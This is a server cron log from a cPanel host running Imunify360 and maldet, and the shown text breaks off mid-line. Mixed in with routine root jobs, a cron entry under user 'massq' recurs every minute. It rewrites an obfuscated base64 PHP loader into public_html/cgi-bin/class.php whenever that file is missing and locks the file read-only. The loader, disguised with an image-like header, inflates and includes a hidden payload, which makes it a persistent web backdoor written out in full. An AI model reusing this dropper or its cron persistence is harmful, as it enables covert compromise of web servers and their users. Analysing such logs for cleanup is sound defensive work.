Sep  1 13:00:01 server CROND[10656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:00:01 server CROND[10662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:00:01 server CROND[10659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:00:01 server CROND[10664]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 13:00:01 server CROND[10663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:00:01 server CROND[10665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:00:01 server CROND[10658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:00:01 server CROND[10660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:00:01 server CROND[10661]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:01:01 server CROND[11503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:01:01 server CROND[11504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:01:01 server CROND[11511]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 13:01:01 server CROND[11512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:01:01 server run-parts(/etc/cron.hourly)[11511]: starting 0anacron
Sep  1 13:01:01 server run-parts(/etc/cron.hourly)[11525]: finished 0anacron
Sep  1 13:02:01 server CROND[11994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:02:01 server CROND[11996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:02:01 server CROND[11995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:03:01 server CROND[12401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:03:01 server CROND[12402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:03:01 server CROND[12403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:04:01 server CROND[12790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:04:01 server CROND[12792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:04:01 server CROND[12793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:05:01 server CROND[13185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:05:01 server CROND[13187]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:05:01 server CROND[13195]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:05:01 server CROND[13196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:05:01 server CROND[13193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:05:01 server CROND[13194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:05:01 server CROND[13197]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:05:01 server CROND[13198]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:06:01 server CROND[14047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:06:01 server CROND[14053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:06:01 server CROND[14056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:07:01 server CROND[14542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:07:01 server CROND[14543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:07:01 server CROND[14544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:08:01 server CROND[14929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:08:01 server CROND[14930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:08:01 server CROND[14931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:09:01 server CROND[15394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:09:01 server CROND[15395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:09:01 server CROND[15397]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 13:09:01 server CROND[15396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:10:01 server CROND[15801]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:10:01 server CROND[15808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:10:01 server CROND[15810]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:10:01 server CROND[15809]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:10:01 server CROND[15820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:10:01 server CROND[15821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:10:01 server CROND[15825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:10:01 server CROND[15822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:11:01 server CROND[16640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:11:01 server CROND[16641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:11:01 server CROND[16642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR